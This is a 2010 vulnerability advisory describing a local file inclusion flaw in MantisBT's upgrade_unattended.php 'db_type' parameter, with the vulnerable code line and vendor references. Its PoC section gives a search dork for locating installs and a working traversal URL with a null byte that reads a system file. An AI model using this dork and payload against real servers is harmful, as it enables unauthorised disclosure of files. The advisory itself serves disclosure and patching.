61 lines
No EOL
1.9 KiB
Text
61 lines
No EOL
1.9 KiB
Text
MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability
|
|
|
|
|
|
Vendor: MantisBT Group
|
|
Product web page: http://www.mantisbt.org
|
|
Version affected: <1.2.4
|
|
|
|
Summary: MantisBT is a free popular web-based bugtracking system. It is written in the PHP
|
|
scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.
|
|
MantisBT has been installed on Windows, Linux, Mac OS, OS/2, and others. Almost any web
|
|
browser should be able to function as a client. It is released under the terms of the GNU
|
|
General Public License (GPL).
|
|
|
|
Desc: Mantis Bug Tracker suffers from a local file inlcusion/disclosure (LFI/FD) vulnerability
|
|
when input passed thru the "db_type" parameter (GET & POST) to upgrade_unattended.php script is
|
|
not properly verified before being used to include files. This can be exploited to include files
|
|
from local resources with directory traversal attacks and URL encoded NULL bytes.
|
|
|
|
|
|
|
|
====================================================================================
|
|
--> library/adodb/adodb.inc.php
|
|
|
|
...
|
|
|
|
4109:
|
|
4110: $file = ADODB_DIR."/drivers/adodb-".$db.".inc.php";
|
|
4111: @include_once($file);
|
|
|
|
...
|
|
|
|
====================================================================================
|
|
|
|
|
|
|
|
Tested on: Microsoft Windows XP Professional SP3 (English)
|
|
Debian GNU/Linux (squeeze)
|
|
Apache 2.2.14 (Win32)
|
|
MySQL 5.1.41
|
|
PHP 5.3.1
|
|
|
|
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
|
|
liquidworm gmail com
|
|
Zero Science Lab - http://www.zeroscience.mk
|
|
|
|
|
|
Advisory ID: ZSL-2010-4984
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4984.php
|
|
Vendor Advisory URL: http://www.mantisbt.org/bugs/view.php?id=12607
|
|
|
|
13.12.2010
|
|
|
|
|
|
PoC:
|
|
----------
|
|
|
|
Dork: Copyright+MantisBT Group
|
|
|
|
LFI/FD: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
|
|
|
|
---------- |